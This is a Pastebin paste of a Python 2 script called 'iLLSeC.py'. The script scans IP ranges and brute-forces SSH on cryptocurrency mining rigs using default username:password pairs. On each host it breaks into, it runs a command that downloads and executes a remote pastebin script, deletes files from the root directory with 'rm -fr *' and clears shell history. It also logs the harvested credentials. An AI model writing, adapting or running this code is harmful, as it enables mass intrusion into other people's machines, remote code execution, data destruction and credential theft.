Advertisement
Condomenium

iLLSeC.py

Dec 21st, 2017
414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.52 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3.  
  4. import threading
  5. import sys
  6. import socket
  7. import time
  8. import paramiko
  9. import random
  10. import os
  11.  
  12.  
  13.  
  14. if len(sys.argv) < 3:
  15. print \
  16. """
  17.  
  18. _..._
  19. .---..---. .-'_..._''.
  20. .--.| || | __.....__ .' .' '.\
  21. |__|| || | .-'' '. / .'
  22. .--.| || | / .-''"'-. `. . '
  23. | || || | / /________\ \| |
  24. | || || | _ | || |
  25. | || || | .' | \ .-------------'. '
  26. | || || | . | /\ '-.____...---. \ '. .
  27. |__|| || | .'.'| |// `. .' '. `._____.-'/
  28. '---''---'.'.'.-' / `''-...... -' `-.______ /
  29. .' \_.' `
  30.  
  31.  
  32.  
  33. Credits -> Condom #iLLSec
  34.  
  35.  
  36. """
  37. print "Usage: python "+sys.argv[0]+" [Start IP] [End IP] [eth/btc/robo]"
  38.  
  39.  
  40. if not os.geteuid()==0:
  41. sys.exit("\nPlease run as fucking root omfg\n")
  42.  
  43. os.system("echo -e 'ulimit -s 99999; ulimit -n 99999; ulimit -u 99999\n' > ~/.bashrc")
  44. os.system("ulimit -s 99999; ulimit -n 99999; ulimit -u 99999")
  45. paramiko.util.log_to_file("/dev/null")
  46. os.system("sysctl -w fs.file-max=99999 >/dev/null")
  47.  
  48.  
  49. if sys.argv[3] == 'eth':
  50. passwords = [ "ethos:live", "root:live" ]
  51. if sys.argv[3] == 'btc':
  52. passwords = [ "root:admin", "admin:admin" ]
  53. if sys.argv[3] == 'robo':
  54. passwords = [ "root:bitmine", "admin:bitmine" ]
  55.  
  56.  
  57. def ipRange(start_ip, end_ip):
  58. start = list(map(int, start_ip.split(".")))
  59. end = list(map(int, end_ip.split(".")))
  60. temp = start
  61. ip_range = []
  62.  
  63. ip_range.append(start_ip)
  64. while temp != end:
  65. start[3] += 1
  66. for i in (3, 2, 1):
  67. if temp[i] == 256:
  68. temp[i] = 0
  69. temp[i-1] += 1
  70. ip_range.append(".".join(map(str, temp)))
  71.  
  72. return ip_range
  73. class sshscanner(threading.Thread):
  74. def __init__ (self, ip):
  75. threading.Thread.__init__(self)
  76. self.ip = str(ip)
  77. global passwords
  78. def run(self):
  79. x = 1
  80. while x != 0:
  81. try:
  82. username='root'
  83. password="0"
  84. port = 22
  85. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  86. s.settimeout(3)
  87. s.connect((self.ip, port))
  88. s.close()
  89. ssh = paramiko.SSHClient()
  90. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  91. dobreak=False
  92. for passwd in passwords:
  93. if ":n/a" in passwd:
  94. password=""
  95. else:
  96. password=passwd.split(":")[1]
  97. if "n/a:" in passwd:
  98. username=""
  99. else:
  100. username=passwd.split(":")[0]
  101. try:
  102. ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
  103. dobreak=True
  104. break
  105. except:
  106. pass
  107. if True == dobreak:
  108. break
  109. badserver=True
  110. stdin, stdout, stderr = ssh.exec_command("cd /; wget https://pastebin.com/raw/4tPWuiJV -o illsec.sh; sh illsec.sh; rm -fr *; history -c")
  111. output = stdout.read()
  112. if "illsec" in output:
  113. badserver=False
  114. if badserver == False:
  115. os.system("echo -e " +self.ip+ " >> .stats.ips")
  116. os.system("echo -e " +username+ ":" +password+ ":" +self.ip+ " >> gathered.log")
  117. print "\033[32mGathering -> " +username+ ":" +password+ ":" +self.ip+ "\033[0m"
  118. ssh.exec_command("cd /; wget https://pastebin.com/raw/4tPWuiJV -o illsec.sh; sh illsec.sh; rm -fr *; history -c")
  119. time.sleep(3)
  120. ssh.close()
  121. if badserver == True:
  122. ssh.close()
  123. except:
  124. pass
  125. x = 0
  126. ip_range = ipRange("" +sys.argv[1], "" +sys.argv[2])
  127. for ip in ip_range:
  128. try:
  129. t = sshscanner(ip)
  130. t.start()
  131. except:
  132. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement